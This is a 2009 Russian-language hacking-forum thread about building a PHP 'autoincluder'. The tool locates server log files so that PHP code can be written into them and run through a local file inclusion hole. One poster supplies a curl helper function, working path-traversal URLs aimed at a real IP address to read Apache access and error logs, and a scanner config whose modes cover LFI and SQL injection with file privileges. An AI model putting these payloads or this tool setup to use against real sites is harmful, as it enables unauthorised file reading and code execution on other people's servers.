Помогите написать автоинклудер на PHP

Discussion in 'PHP' started by nub-hacker, 6 Jul 2009.

  1. nub-hacker

    nub-hacker Banned

    Joined:
    23 Jun 2009
    Messages:
    69
    Likes Received:
    5
    Reputations:
    -10
    Всем привет. Может кто сталкивался с php инклудом, тем нужны были логи, чтобы ззабить туда пхп код и заинлудеть. Но мне в падлу переьеоать в ручную пути к логам. Вот я хочу написать сам скрипт на пхп. Я знаю токо основы пхп и прошу вашей помощи.

    Помогите составить алгоритм. и я буду оч. признателен если кто напишет простенький каркас(основу) инлкдера.

    ЗЫ готовый не предлагать. я юзал инлудер от Pashkela. Но он жопный. Плохо, медленно, и некаректно работает . и др. не лучше.


    ///

    УДАЛИТЕ ТЕМУ УМАЛЯЮ
     
    #1 nub-hacker, 6 Jul 2009
    Last edited: 8 Jul 2009
  2. Fata1ex

    Fata1ex Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    703
    Likes Received:
    300
    Reputations:
    38
    Как каркас можно использовать уже написанные. Благо их довольно много.
    Мм и да, инклуд можно осуществить не только через логи )
     
    #2 Fata1ex, 6 Jul 2009
    Last edited: 6 Jul 2009
  3. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,362
    Likes Received:
    1,157
    Reputations:
    430
    _/showpost.php?p=467814&postcount=2
    Хм... архив у Электа битый... нашел тут:
    _http://forum.blackhack.ru/showthread.php?t=2644
     
    #3 Ch3ck, 6 Jul 2009
    Last edited: 6 Jul 2009
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    мой круче:))) Просто у ТС руки не из того места растут:)
     
    1 person likes this.
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    /thread127462.html
    ппц
     
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Если камушек в мой огород, то просто добавляем функцию получения информации через курлы:

    PHP:
    function get($url
        { 
            
    $ch curl_init();   
            
    curl_setopt($chCURLOPT_URL,$url); 
            
    curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
            
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); 
            
    $ss=curl_exec($ch); 
            
    curl_close($ch); 
            return 
    $ss
        } 
    и везде в коде scan меняем на get, и всё пашет, вот доказательства:

    Code:
    http://137.207.248.30/60-270/php/viewsource.php?fname=../../../../../../../var/log/apache2/access_log
    http://137.207.248.30/60-270/php/viewsource.php?fname=../../../../../../../var/log/apache2/error_log
    
    просто через fsockopen не всегда почему-то дает парсить

    phpinj.ini для конкретно данного случая:

    Code:
    ;=========================================
    
    MODE = 1 ; <= режим сканирования
    
    ;MODE = 1 - имеется LFI, при неправильном запросе ВИДЕН текст ошибки
    ;MODE = 2 - имеется LFI, при неправильном запросе НЕ ВИДЕН текст ошибки (ниже требуется ввести URL, вызывающий ошибку)
    ;MODE = 3 - имеется SQL-INJ + file_priv=Y + magic_quotes=OFF, при неправильном запросе ВИДЕН текст ошибки
    ;MODE = 4 - имеется SQL-INJ + file_priv=Y + magic_quotes=OFF, при неправильном запросе НЕ ВИДЕН текст ошибки (ниже требуется ввести URL, вызывающий ошибку)
    ;MODE = 5 - имеется SQL-INJ + file_priv=Y + magic_quotes=ON, при неправильном запросе ВИДЕН текст ошибки
    ;MODE = 6 - имеется SQL-INJ + file_priv=Y + magic_quotes=ON, при неправильном запросе НЕ ВИДЕН текст ошибки (ниже требуется ввести URL, вызывающий ошибку)
    ;=========================================
    ; url-для сканирования (начало) 
    ;----------------------------------------------------------------------------------------------------
    URL = "http://137.207.248.30/60-270/php/viewsource.php?fname=../../../../../../../"
    ;----------------------------------------------------------------------------------------------------
    ; url, которая вызывает ошибку
    ;----------------------------------------------------------------------------------------------------
    ERROR_URL = ""
    ;----------------------------------------------------------------------------------------------------
    ; окончание url-для сканирования
    ;----------------------------------------------------------------------------------------------------
    URL_END = ""
    ;----------------------------------------------------------------------------------------------------
    ; Текст ошибки, при вызове ошибочной страницы, четко показывающая, что искомый параметр не найден (если ошибки видны)
    ;----------------------------------------------------------------------------------------------------
    ERROR_MESSAGE = Error
    ;----------------------------------------------------------------------------------------------------
    PAUSE = 0   ; Пауза между запросами
    
    Но с курлами будет работать только .php, .exe пахать не будет
     
    #6 Pashkela, 8 Jul 2009
    Last edited: 8 Jul 2009